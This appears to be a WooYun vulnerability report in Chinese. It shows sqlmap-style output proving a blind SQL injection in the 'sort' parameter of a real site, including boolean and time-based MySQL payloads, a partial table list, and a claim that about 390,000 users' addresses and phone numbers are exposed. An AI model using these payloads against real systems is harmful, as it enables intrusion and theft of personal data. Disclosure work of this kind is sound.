WooYun.org

下面用工具跑下：
---
Parameter: sort (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace (original value)
    Payload: id=10076886&page=1&sort=(SELECT (CASE WHEN (6112=6112) THEN '' ELSE
 6112*(SELECT 6112 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: id=10076886&page=1&sort=(SELECT (CASE WHEN (4396=4396) THEN SLEEP(5
) ELSE 4396*(SELECT 4396 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
[10:01:08] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
Database: joinwish_product
[78 tables]
+------------------------------+
| admin_sms_logs               |
| alipay_transfer              |
| auth_group                   |
| auth_group_permissions       |
| auth_permission              |
| auth_user                    |
| auth_user_groups             |
| auth_user_user_permissions   |
| base_config                  |
| brands                       |
| django_admin_log             |
| django_content_type          |
| django_session               |
| django_site                  |
| dl_company                   |
| exchange_2                   |
| gateway_audit                |
| gateway_audit_result         |
| gateway_order                |
| in_brands                    |
| mch_branches                 |
| mch_commodities              |
| mch_functions                |
| mch_operators                |
| mch_roles                    |
| mch_roles_mch_functions      |
| newgive                      |
                    剩下表就不贴出来了。
select count(*) from users:    '387168'      接近39万用户
表user_addresses中有用户地址，电话，姓名，账户等详细隐私信息。。。



因网络问题，没跑太多数据证明。